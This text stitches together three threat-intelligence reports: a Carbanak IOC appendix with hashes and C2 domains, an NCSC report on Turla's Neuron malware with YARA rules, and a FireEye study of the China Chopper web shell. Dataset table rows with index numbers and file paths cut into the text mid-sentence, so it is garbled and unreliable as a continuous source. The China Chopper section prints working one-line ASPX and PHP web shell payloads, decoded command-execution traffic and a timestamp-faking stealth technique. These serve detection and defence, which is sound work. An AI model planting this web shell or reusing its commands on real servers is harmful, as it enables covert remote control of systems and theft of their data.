db83e301564ff613dd1ca23c30a387f0 Name of attachment: - 115 21.07.2014.doc Drops executable: MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak) Compiled Tue Apr 08 05:44:12 2014 Connects to: datsun- auto.com/bDqxEs/Ta6IPJq3zqmRY- .5/8SgGLA- F/I9CstBYT1rK7kx.440Sbtru.cgi?QVzFtNM2gdtMLscx5bB4uryjMPfpxBukmcOaD- Ucygbtzv4f8fx MD5: f88a983fc0ef5bb446ae63250e7236dd Name of attachment: .msg Drops executable: MD5: 3dc8c4af51c8c367fbe7c7feef4f6744 (Carbanak) Compiled Fri Aug 08 00:48:07 2014 C2s on worldnewsonline.pw, worldnews24.pw C2 key vfDGbiwmiqdN6E2N RDP on 185.10.56.59:443 MD5: c4a6a111a070856c49905d815f87ab49 Name of attachment: Drops executable: MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak) Connects to: GET /cBAWFvkXi94QxShRTaVVn/YzAxD/X0sZEud.5gNItbvozI3tqT5ly9UYLVii13.bml?tlxCFi Busj2OVj9GPa5houGzK.FTl0.7FBN75nMPDrlGXq4s7cIAQ0Cl662IwVjxvsiTOlG 0d0pd HTTP/1.1 Host: datsun- auto.com MD5: 86e48a9be62494bffb3b8e5ecb4a0310 Name of attachment: .doc Drops executable: MD5: 3dc8c4af51c8c367fbe7c7feef4f6744 (Carbanak) Compiled Fri Aug 08 00:48:07 2014 MD5: 6c7ac8dfd7bc5c2bb1a6d7aec488c298 Name of attachment: - 115 02.07.2014..doc, Drops executable: MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak) Compiled Tue Apr 08 05:44:12 2014 Connects to: datsun- auto.com/bDqxEs/Ta6IPJq3zqmRY- .5/8SgGLA- F/I9CstBYT1rK7kx.440Sbtru.cgi?QVzFtNM2gdtMLscx5bB4uryjMPfpxBukmcOaD- Ucygbtzv4f8fx 36 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 5: MD5 hashes of Carbanak samples 0022c1fe1d6b036de2a08d50ac5446a5 0155738045b331f44d300f4a7d08cf21 0275585c3b871405dd299d458724db3d 0ad4892ead67e65ec3dd4c978fce7d92 0ad6da9e62a2c985156a9c53f8494171 1046652e0aaa682f89068731fa5e8e50 10e0699f20e31e89c3becfd8bf24cb4c 1300432e537e7ba07840adecf38e543b 15a4eb525072642bb43f3c188a7c3504 16cda323189d8eba4248c0a2f5ad0d8f 1713e551b8118e45d6ea3f05ec1be529 1a4635564172393ae9f43eab85652ba5 1b9b9c8db7735f1793f981d0be556d88 1d1ed892f62559c3f8234c287cb3437c 1e127b92f7102fbd7fa5375e4e5c67d1 1e47e12d11580e935878b0ed78d2294f 1f43a8803498482d360befc6dfab4218 1fd4a01932df638a8c761abacffa0207 20f8e962b2b63170b228ccaff51aeb7d 26d6bb7a4e84bec672fc461487344829 2908afb4de41c64a45e1eb2503169108 2c6112e1e60f083467dc159ffb1ceb6d 2cba1a82a78f4dcbad1087c1b71588c9 2e2aa05a217aacf3105b4ba2288ad475 36cdf98bc79b6997dd4e3a6bed035dca 36dfd1f3bc58401f7d8b56af682f2c38 39012fb6f3a93897f6c5edb1a57f76a0 3dc8c4af51c8c367fbe7c7feef4f6744 407795b49789c2f9ca6eca1fbab3c73e 45691956a1ba4a8ecc912aeb9f1f0612 4afafa81731f8f02ba1b58073b47abdf 4e107d20832fff89a41f04c4dff1739b 4f16b33c074f1c31d26d193ec74aaa56 50f70e18fe0dedabefe9bf7679b6d56c 5443b81fbb439972de9e45d801ce907a 55040dd42ccf19b5af7802cba91dbd7f 551d41e2a4dd1497b3b27a91922d29cc 56bfe560518896b0535e0e4da44266d6 5aeecb78181f95829b6eeeefb2ce4975 5da203fa799d79ed5dde485c1ed6ba76 608bdeb4ce66c96b7a9289f8cf57ce02 6163103103cdacdc2770bd8e9081cfb4 629f0657e70901e3134dcae2e2027396 643c0b9904b32004465b95321bb525eb 6e564dadc344cd2d55374dbb00646d1b 735ff7defe0aaa24e13b6795b8e85539 751d2771af1694c0d5db9d894bd134ca 763b335abecbd3d9a6d923a13d6c2519 763e07083887ecb83a87c24542d70dc5 7b30231709f1ac69e4c9db584be692f0 7d0bbdda98f44a5b73200a2c157077df 7e3253abefa52aeae9b0451cfb273690 874058e8d8582bf85c115ce319c5b0af 88c0af9266679e655298ce19e231dff1 8ace0c156eb6f1548b96c593a15cbb25 933ab95dbf7eb0e9d9470a9272bfaff3 93e44ecfcffdbb1f7f3119251ddb7670 972092cbe7791d27fc9ff6e9acc12cc3 9865bb3b4e7112ec9269a98e029cf5cb 9ad8c68b478e9030859d8395d3fdb870 9f455f0efe8c5ff69adcc456dcf00da6 a1979aa159e0c54212122fd8acb24383 a4bfd2cfbb235d869d87f5485853edae a8dc8985226b7b2c468bb82bad3e4d76 aa55dedff7f5dbe2cc4a47f2f8d44f94 ac5d3fc9da12255759a4a7e4eb3d63e7 acb01930466438d3ee981cb4fc57e196 acb4c5e2f92c84df15faa4846f17ff4e b2e6d273a9b32739c9a26f267ab7d198 b328a01f5b82830cc250e0e429fca69f b400bb2a2f9f0ce176368dc709359d3d b6c08d0db4ca1d9e16f3e164745810ff b79f7d41e30cf7d69a4d5d19dda8942e bddbb91388dd2c01068cde88a5fb939e c179ad6f118c97d3db5e04308d48f89e c1b48ca3066214a8ec988757cc3022b3 c2472adbc1f251acf26b6deb8e7a174b c687867e2c92448992c0fd00a2468752 c77331b822ca5b78c31b637984eda029 cb915d1bd7f21b29edc179092e967331 cc294f8727addc5d363bb23e10be4af2 d943ccb4a3c802d304ac29df259d14f2 db3e8d46587d86519f46f912700372e0 dbd7d010c4657b94f49ca85e4ff88790 e06a0257449fa8dc4ab8ccb6fbf2c50b e613e5252a7172329ee25525758180a4 37 TLP: White For any inquiries, please contact intelreportskaspersky.com e742242f28842480e5c2b3357b7fd6ab e938f73a10e3d2afbd77dd8ecb3a3854 eaee5bf17195a03d6bf7189965ee1bdb ef8e417e5adb2366a3279d6680c3b979 f4eddae1c0b40bfedeb89e814a2267a5 f66992766d8f9204551b3c42336b4f6d fad3a7ea0a0c6cb8e20e43667f560d7f fbc310a9c431577f3489237d48763eea ff7fd55796fa66c8245c0b90157c57c7 100d516821d99b09718b362d5a4b9a2f 6ae1bb06d10f253116925371c8e3e74b 72eff79f772b4c910259e3716f1acf49 85a26581f9aadeaa6415c01de60f932d 9ad6e0db5e2f6b59f14dd55ded057b69 a70fea1e6eaa77bdfa07848712efa259 be935b4b3c620558422093d643e2edfe c70cce41ef0e4a206b5b48fa2d460ba4 41fb85acedc691bc6033fa2c4cf6a0bc 1684a5eafd51852c43b4bca48b58980f 08f83d98b18d3dff16c35a20e24ed49a 38 TLP: White For any inquiries, please contact intelreportskaspersky.com DailyBusinessAcademyThreatPostEugeneSecureList Securelist, the resource for KasperskyLab experts technicalresearch, analysis, and thoughts.
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TLP WHITE TLP WHITE Page 1 of 8 Turla group update Neuron malware Version 1.0 Reference: NCSC-Ops/04-18 18 January 2018 Crown Copyright 2018 TLP WHITE TLP WHITE Page 2 of 8 About this Document This NCSC report provides new intelligence on the Neuron malware, a tool used by the Turla group to target the UK.
It contains IOCs and signatures for detection and network monitoring.
Handling of the Report Information in this report has been given a Traffic Light Protocol (TLP) of WHITE, which means it can be shared within and beyond the CiSP community with no handling restrictions.
Disclaimer This report draws on reported information, as well as information derived from industry sources.
TLP WHITE TLP WHITE Page 3 of 8 Contents About this Document ........................................................................................................................... 1 Handling of the Report ......................................................................................................................... 2 Disclaimer .............................................................................................................................................. 2 Introduction ............................................................................................................................................ 4 Summary of changes ....................................................................................................................... 4 Neuron Updates ................................................................................................................................... 5 Loader ................................................................................................................................................ 5 Payload .............................................................................................................................................. 6 Encryption ...................................................................................................................................... 6 Communications ........................................................................................................................... 6 Associated Files ............................................................................................................................... 6 Neuron Yara ...................................................................................................................................... 7 TLP WHITE TLP WHITE Page 4 of 8 Introduction In November 2017, the NCSC released an advisory highlighting the Turla Groups use of the tools Neuron and Nautilus.1 Since then, the NCSC has identified a new version of the Neuron malware.
The new version has been modified to evade previous detection methods.
Neuron operates on Microsoft Windows platforms, primarily targeting mail servers and web servers.
The NCSC has observed this tool being used by the Turla group to maintain persistent network access and to conduct network operations.
The compile times contained within these new binaries show that the actor implemented the required modifications to Neuron approximately five days after public releases by the NCSC and other vendors.
This NCSC report provides new intelligence on the Neuron malware, a tool used by the Turla group to target the UK.
It contains IOCs and signatures for to be used for network monitoring and detection.
The files analysed in this report are available on VirusTotal.
Summary of changes to Neuron malware The .NET payload is loaded in-memory as opposed to being dropped to disk Communications have been modified to avoid detection Some encryption methods have replaced RC4 with AES The modifications are sufficient to avoid previously released signatures IOCs.
1 https://share.cisp.org.uk/docs/DOC-6912 TLP WHITE TLP WHITE Page 5 of 8 Neuron Updates A sample of Neuron was recently uploaded to VirusTotal.
This sample appears to be an updated version of Neuron.
Changes have primarily been made to the dropper and loading mechanisms.
The PDB string embedded within the binary supports the assumption that this is a newer version by referring to itself as neuron2.
D:\Develop\sps\neuron2\x64\Release\dcomnet.pdb This sample contains sufficient modifications to frustrate detection, allowing Turla operations to continue.
Loader With previous versions of Neuron, a native dropper was utilised to write the main payload to disk, establish persistence and ensure execution.
This latest version uses a native x64 loader to execute the .NET payload in-memory.
The payload is encrypted within the loader, which ensures the payload never touches disk in plaintext.
This modification has likely been made to evade detection during disk scans performed by anti-virus products, however anti-virus products that scan memory will still likely be able to detect the payload running.
The loader has the required exports to enable the configuration as a service, therefore its believed this will be the method used for persistence.
The loader can also specify which endpoints (HTTP(S) or pipe) to listen on by passing them to the .NET executable as arguments.
In this sample the endpoints specified are different to previous versions: http://:80/OWA/OAB/ https://:443/OWA/OAB/ If no arguments are provided the payload will use the following defaults for HTTP(S) or pipes: http://:80/W3SVC/ https://:443/W3SVC/ pipe:///Winsock2/baseapi_http Error handling has been added to the new payload.
If the webserver encounters an exception it will attempt to use the default values above, if another exception occurs then the payload will revert to using the default HTTP (port 80) value.
TLP WHITE TLP WHITE Page 6 of 8 Payload The main payload is still a .NET executable, but several modifications have been made to its operation which are described below Encryption Previous versions of Neuron used RC4 for the encryption of data stored on disk or sent over the network.
Portions of the updated Neuron service have been migrated to AES, however, some components still rely on the RC4 implementation, such as encrypting command information.
The actors have configured multiple hardcoded encryption keys rather than using one for everything.
For example, one is used for normal communication between nodes, and another is used if the node is proxying a request.
These modifications are likely implemented to make detection and decryption by network defenders more difficult.
Communications The communication between clients and servers has also changed to avoid detection.
The server expects a POST request, but rather than using the previous pre-defined parameter names (cid, cadata etc.
),
the new function loops through each parameter looking for certain characters within that parameters value to determine what functionality should be performed.
This will allow the parameter names to be randomly generated and/or regularly changed, making it more difficult for network defenders to reliably detect communications.
As an example, the following characters are looked for (in the order shown) to determine which functionality should be performed: Character Functionality Set the AES salt ( and ) Return list of storage files ( Get and return defined storage file ) Add specified storage file to local storage (write to disk) - Send RSA encrypted encryption key (machine GUID) _ Proxy request through to another address , but not _ Perform specified command and return result Associated Files TLP WHITE TLP WHITE Page 7 of 8 Name dcomnet.dll Description Neuron2 Loader (x64) MD5 60bcc6bc746078d81a9cd15cd4f199bb SHA1 c9fc7ce10aba20894ef914d2073021a48995db17 SHA256 51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 Size 170496 Compile Time 28 Nov 2017 06:25:24 Name neuron2.exe Description Neuron2 Payload MD5 d891c9374ccb2a4cae2274170e8644d8 SHA1 2fb145c64263006a95a0771b57e967977f63954d SHA256 83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015 Size 59392 Compile Time 28 Nov 2017 04:44:26 Neuron Yara rule neuron2_loader_strings meta: description Rule for detection of Neuron2 based on strings within the loader author NCSC hash 51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 strings: dcom_api ascii http://:80/OWA/OAB/ ascii https://:443/OWA/OAB/ ascii dcomnetsrv.cpp wide dcomnet.dll ascii D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb ascii condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and 2 of them TLP WHITE TLP WHITE Page 8 of 8 rule neuron2_decryption_routine meta: description Rule for detection of Neuron2 based on the routine used to decrypt the payload author NCSC hash 51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 strings: 81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01 condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and all of them rule neuron2_dotnet_strings meta: description Rule for detection of the .NET payload for Neuron2 based on strings used author NCSC hash 83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015 strings: dotnetMagic BSJB ascii s1 http://:80/W3SVC/ wide s2 https://:443/W3SVC/ wide s3 neuron2.exe ascii s4 D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb ascii condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and dotnetMagic and 2 of (s)
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell FireEye Labs Authors: Tony Lee, Ian Ahl and Dennis Hanzlik FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 1 Contents Introduction 2 Components 2 Capabilities 7 Payload Attributes 11 Platform 14 Delivery Mechanism 16 Traffic Analysis 16 Detection 20 Conclusion 23 About FireEye 23 FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 2 Introduction China Chopper is an increasingly popular Web shell that packs a powerful punch into a small package.
In the space of just 4 kilobytes, the Web shell offers file and database management, code obfuscation, and moreall in an easy-to-use graphical user interface that even novices can use.
Given its growing prevalence, especially among Chinese cybercriminals, China Chopper warrants much more exposure than it has received to date.
Outside of an insightful blog post from security researcher Keith Tyler1, little useful information on China Chopper is publically available.
To contribute something new to the public knowledge baseespecially for those who happen to find the China Chopper server-side payload on one of their Web serversFireEye studied the components, capabilities, payload attributes, and the detection rate of this 4 kilobyte menace.
This report describes the features that make China Chopper an increasingly popular tool for cyber attackers.
And more important, the report explains how security professionals can better detect the Web shell through network traffic and on compromised systems.
Components China Chopper is a simple backdoor in terms of components.
It has two key components: the Web shell command-and-control (CnC) client binary and a text-based Web shell payload (server component).
The text-based payload is so simple and short that an attacker could type it by hand right on the target serverno file transfer needed.
Web shell client The Web shell client was originally available on www.maicaidao.com.
FireEye advises against visiting that site now.
1 Tylers China Chopper post is available at http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html.
Web Shell (CnC) Client MD5 Hash caidao.exe 5001ef50c7e869253a7c152a638eab8a Table 1: Original Web shell client with MD5 hash code FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 3 The client binary is packed with UPX and is 220,672 bytes in size, as shown in Figure 1.
Figure 1: Client binary viewed in WinHex The executable file compressor UPX unpacks the binary to reveal details hidden by the packer.
C:\Documents and Settings\Administrator\Desktopupx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2011 UPX 3.08w Markus Oberhumer, Laszlo Molnar John Reiser Dec 12th 2011 File size Ratio Format Name -------------------- ------ ----------- ----------- 700416 - 220672 31.51 win32/pe decomp.exe Unpacked 1 file.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 4 PEiD (a free tool for detecting packers, cryptors, and compilers found in PE executable files),2 reveals that the unpacked client binary was written in Microsoft Visual C 6.0, as shown in Figure 2.
2 More information about PEiD is available at http://www.aldeid.com/wiki/PEiD.
Because the strings are not encoded, examining them in the unpacked binary exposes how the backdoor communicates.
Appearing in the strings are an intriguing reference to google.com.hk using the Chinese (simplified) language parameter (Figure 3) and references to the text Chopper (Figure 4).
Figure 2: PEiD reveals that the binary was written using Visual C 6.0 Figure 3: Printable strings refer to www.google.com.hk FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 5 In action, China Chopper is a menu-driven GUI full of convenient attack and target-management features.
When opened, the client displays example shell entries that point to www.maicaidao.com, which originally hosted components of the Web shell.
To add a target, attackers right click within the client window, select Add from the menu and enter the target IP address, password, and encoding as shown in Figure 5.
Figure 4: References to Chopper in the client binary Figure 5: Picture of the China Chopper Web shell interface FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 6 CHINA Server-side Payload Component But the client is only half of the remote access tool (RAT)and not likely the part that would appear on a targeted network.
Its communication relies on a payload in the form of a small Web application.
This payload is available in a variety of languages such as ASP, ASPX, PHP, JSP, and CFM.
Table 2 shows some of the original files available for download shown with their MD5 hashes.
Web Shell Payload MD5 Hash Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08 Customize.cfm ad8288227240477a95fb023551773c84 Customize.jsp acba8115d027529763ea5c7ed6621499 Table 2: Original China Chopper files, with MD5 hash codes3 Even though the MD5s are useful, this is a text-based payload that can be easily changed, resulting in a new MD5 hash.
Here is an example of just one of China Choppers text-based payloads (for more details, see Payload Attributes on Page 11): In real-world use, password would be replaced with the actual password to be used in the client component when connecting to the Web shell.
|
122
|
ASPX: 3 Keith Tyler.
| 28,366
| 28,432
| 67
|
data/reports_final/0122.txt
|
ASPX: 3 Keith Tyler.
China Chopper Webshell - the 4KB that Owns your Web Server.
November 2012.
Page LanguageJscripteval(Request.
Item[password],unsafe) FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 7 Capabilities The capabilities of both the payload and the client are impressive considering their size.
The Web shell client contains a Security Scan feature, independent of the payload, that gives the attacker the ability to spider and use brute-force password guessing against authentication portals.
Figure 6: China Chopper provides a Security Scan feature Figure 7: Screenshot of the CnC client showing capabilities of the Web shell In addition to vulnerability hunting, China Chopper has excellent CnC features when combining the client and payload, include the following: File Management (File explorer) Database Management (DB client) Virtual Terminal (Command shell) In China Choppers main window, right-clicking one of the target URLs brings up a list of possible actions (see Figure 7).
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 8 File Management Used as a RAT, China Chopper makes file management simple.
Abilities include uploading and downloading files to and from the target, using the file-retrieval tool Wget4 to download files from the Web to the target.
Attackers can also edit, delete, copy, and rename filesand even change their time stamp.
4 Wget is available at http://www.gnu.org/software/wget/.
Figure 8: File management provides an easy-to-use menu that is activated by right-clicking on a file name Figure 9: IIS directory showing time stamps prior to the time modification The Modify the file time option is a surprisingly effective stealth technique.
Figure 9 shows the time stamps of the three files in the test directory before the Web shell modifies the time stamps.
By default, Windows Explorer shows only the Date Modified field.
Without the time stamp change, the Web shell easily stands out because it is newer than the other two files.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 9 Figure 10 shows the date of the file after the Web shell modifies the time stamp.
The Date Modified value on the Web shell shows up as the same as the other two files.
This is the default field displayed to users, so to the untrained eye it easily blends inespecially with many files in the directory.
5 The mftdump tool is available at http://malware-hunters.net/all-downloads/.
Clever investigators may think that they can spot the suspicious file due to the creation date being changed to the same date as the modified date.
But this is not necessarily anomalous.
Additionally, even if the file is detected, the forensic timeline is skewed because the date that the attacker planted the file is no longer present.
Finding the real date that the file was planted requires examining the Master File Table (MFT).
After acquiring the MFT using FTK, EnCase, or other means, FireEye recommends using mftdump.5 Written by FireEye researcher Mike Spohn, mftdump is a great tool for extracting and analyzing file metadata.
Table 3 shows the time stamps pulled from the MFT for our Web shell file before and after the time stamps were modified.
The fn fields retain their original times, so some useful information remains.
Figure 10: IIS directory showing time stamps after the time modification Category Pre-touch Match Post-touch Match siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48 siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56 siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48 siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56 fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01 fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03 fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42 fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04 Table 3: Time stamps from MFT FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 10 Database Management The database management functionality is impressive and helpful to the first-time user.
Upon configuring the client, China Chopper provides example connection syntax.
Figure 11: Database management requires simple configuration parameters to connect Figure 12: China Choppers database management feature lets users interact with a database and even provides helpful prepopulated commands Figure 13: Virtual terminal provides a command shell for OS interaction After connecting, China Chopper also provides useful SQL commands.
Command Shell Access Finally, China Chopper provides command shell access for OS-level interaction, further demonstrating its versatility.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 11 Payload Attributes China Chopper is stealthy due to a number of factors, including the following: Size Server-side content Client-side content AV detection rate (or lack thereof) Size Malicious and benign software usually suffers from the same principle: more features equals more code, which equals larger size.
Considering how many features China Chopper offers, it is incredibly smalljust 73 bytes for the ASPX version, or 4 kilobytes on disk (see Figure 14).
Compare that to other Web shells such as Laudanum (619 bytes) or RedTeam Pentesting (8,527 bytes).
China Chopper is so small and simple that an attacker could conceivably type the contents of the shell by hand.
Figure 14: China Chopper file properties FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 12 Server-Side Content The server-side content could easily be overlooked among the other files associated with a vanilla install of a complex application.
The code does not look maliciousjust odd.
Figure 15: The content of the file seems relatively benign, especially if with a safe-sounding word like Security as the shell password Figure 16: Viewing the source of the Web shell reveals nothing to the client Below are the contents of the Web shell for two of its varieties.
Client-Side Content Because all of the code is server-side language that does not generate client-side code, browsing to the Web shell and viewing the source as a client reveals nothing.
PHP: ASPX: Page LanguageJscripteval(RequestItem[password],unsafe) ?
php eval(_POST[password])?
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 13 Anti-Virus Detection Rate Running the Web shell through the virus-scanning website No Virus Thanks shows a detection rate of 0 out of 14, indicating that most, if not all, anti-virus tools would miss the Web shell on an infected system.
Figure 17: Results of multiple anti-virus engine inspections showing China Chopper coming up clean FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 14 The same holds true for VirusTotal.
None of its 47 anti-virus engines flags China Chopper as malicious.
Figure 18: Results of multiple AV engine inspections showing the Web shell comes up clean Figure 19: This command is all that it takes to run on Linux with PHP Platform China Chopper can run on any Web server capable of running JSP, ASP, ASPX, PHP, or CFMthe majority of Web application languages.
China Chopper can also run transparently on both Windows and Linux.
This OS and application flexibility make China Chopper an even more dangerous Web shell.
Server-side Payload Component on Page 5 showed China Chopper executing on a Windows 2003 IIS server using ASPX.
Figure 19 shows it running on Linux with PHP.
Here, the contents of the PHP version are just as minimalistic.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 15 While the available options differ depending on what platform China Chopper is running on, the file management features in Linux (see Figure 20) are similar to those in Windows.
Figure 20: File browsing on a target system running Linux Figure 21: Database management from a target system running Linux Figure 22: Virtual terminal from a target system running Linux The database client example shown in Figure 21 is MySQL instead of MS-SQL, but it offers many of the same capabilities.
The virtual terminal looks familiar (Figure 22), but uses Linux commands instead of Windows because they are ultimately interpreted by the underlying operating system.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 16 Delivery Mechanism China Choppers delivery mechanism is flexible due to the size, format, and simplicity of the malwares payload.
This small, text-based payload can be delivered using any of the following mechanisms: WebDAV file upload JBoss jmx-console or Apache Tomcat management pages (For more details on this attack vector, read FireEye consultant Tony Lees explanation)6 Remote exploit with a file drop Lateral propagation from other access Traffic Analysis After examining the server-side payload and the client used to control the Web shell, the next step to understanding China Chopper is observing its traffic.
Having both the server and client components enables researchers to start a packet capture to view the contents of typical traffic.
As shown in Figure 23, the client initiates the connection over TCP port 80 using the HTTP POST method.
Figure 23: A packet capture shows that the Web shell traffic is HTTP POST traffic over TCP port 80 6 Tony Lee.
|
123
|
Manually Exploiting Tomcat Manager.
| 28,433
| 28,759
| 327
|
data/reports_final/0123.txt
|
Manually Exploiting Tomcat Manager.
September 2012.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 17 Because this is TCP traffic, researchers can follow the TCP stream in Wireshark, a popular open-source network-protocol analyzer that works in Unix and Windows.7 In Figure 24, the traffic in red at the top is from the attacker (Web client).
The traffic shown in blue at the bottom is the response from the target (Web shell).
7 Wireshark is available at http://www.wireshark.org/.
Figure 24: After following the TCP stream, researchers can see that the majority of the attacker traffic is Base64 encoded FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 18 8 Fiddler is available at http://fiddler2.com/.
As highlighted above, the majority of the attacker traffic appears to be Base64 encoded.
This is not a problem though, because it can be easily decoded.
Using the TextWizard feature of the free Fiddler Web debugger reveals what the attacker is sending.8 (Note: 3D is a URL-encoded representation of the equal sign ().
Fiddler needs this to be converted to an equal sign for proper decoding.)
Raw attacker traffic: As shown In Figure 25, the Fiddler Web debugger text wizard easily converts the raw traffic from Base64 to plain text.
Figure 25: Fiddler Web debugger decodes the Base64 traffic PasswordResponse.
Write(-) var err:Exceptiontryeval(System.
Text.
Encoding.
GetEncoding(65001).
GetString(System.
Convert.
FromBase64String (dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3R lbS5UZXh0LkVuY29kaW5n LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc 2U2NFN0cmluZyhSZXF1ZX N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXN zKCk7dmFyIG91dDpTeXN0 ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTa GVsbEV4ZWN1dGU9ZmFsc2 U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJ yb3I9dHJ1ZTtlLlN0YXJ0 SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY 29kaW5nKDY1MDAxKS5HZX RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1 bInoyIl0pKTtlLlN0YXJ0 KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2Uo KTtSZXNwb25zZS5Xcml0ZS hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw3D3D)),unsafe) catch(err)Response.
Write (ERROR:// 2Berr.message)Response.
Write(-)Response.
End()z1Y21kz2Y2QgL2QgImM6 XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ3D3D FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 19 The decoded traffic presents something more readable.
But the Base64-decoded traffic shows an attempt to decode more Base64 traffic stored as z1 and z2.
The attacker traffic shows z1 and z2 parameters immediately after the end of the Password parameter.
The Base64-encoded parameters z1 and z2 are highlighted in the following output: Decoded traffic: Base64-decoded parameters z1 and z2: This code explains how the client communicates with the shell.
The Password parameter passes the code to the payload to be executed.
The z1 is cmd, and z2 contains the arguments to the command prompt sent via cmd /c.
All output is sent to standard output (stdout) back to the attacker, which creates the following response to the whoami command and the present working directory: varcnewSystem.
Diagnostics.
ProcessStartInfo(System.
Text.
Encoding.
GetEn- coding(65001).
GetString(System.
Convert.
FromBase64String(Request.
Item[z1]))) varenewSystem.
Diagnostics.
Process() varout:System.
IO.StreamReader,EI:System.
IO.StreamReader c.UseShellExecutefalse c.RedirectStandardOutputtruec.
RedirectStandardErrortrue e.StartInfocc.
Arguments/cSystem.
Text.
Encoding.
GetEncoding(65001).
GetString(System.
Convert.
FromBase64String(Request.
Item[z2])) e.Start()oute.
StandardOutputEIe.
StandardErrore.
Close() Response.
Write(out.
ReadToEnd()EI.ReadToEnd()) z1Y21kz2Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZ jZCZlY2hvIFtFXQ3D3D z1cmdz2cd /d c:\inetpub\wwwroot\whoamiecho [S]cdecho [E] -nt authority\network service[S]C:\Inetpub\wwwroot[E]- FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 20 Detection Understanding the contents of China Chopper and what its traffic looks like allows researchers to detect this pest both at the network and the host level.
Network With a standard Snort9 IDS in place, this traffic can be caught with relative ease.
Keith Tyler provides the following basic IDS signature in his previously cited China Chopper blog post:10 9 Snort is available at http://www.snort.org/.
10 Keith Tyler.
China Chopper Webshell - the 4KB that Owns your Web Server.
November 2012.
To reduce false positives, tighten the Snort IDS signature to focus on China Chopper by looking for contents of FromBase64String and z1 as follows: The following IDS signature looks for content of FromBase64String and any combination of z followed by one to three digitsit would find z1, z10, or z100 for example.
The idea: if the first command (z1) is missed, the signature still catches subsequent commands.
Both of these IDS signatures can be optimized further to factor depth and offset.
Be sure to put a valid SID in before implementing and test the signature for performance.
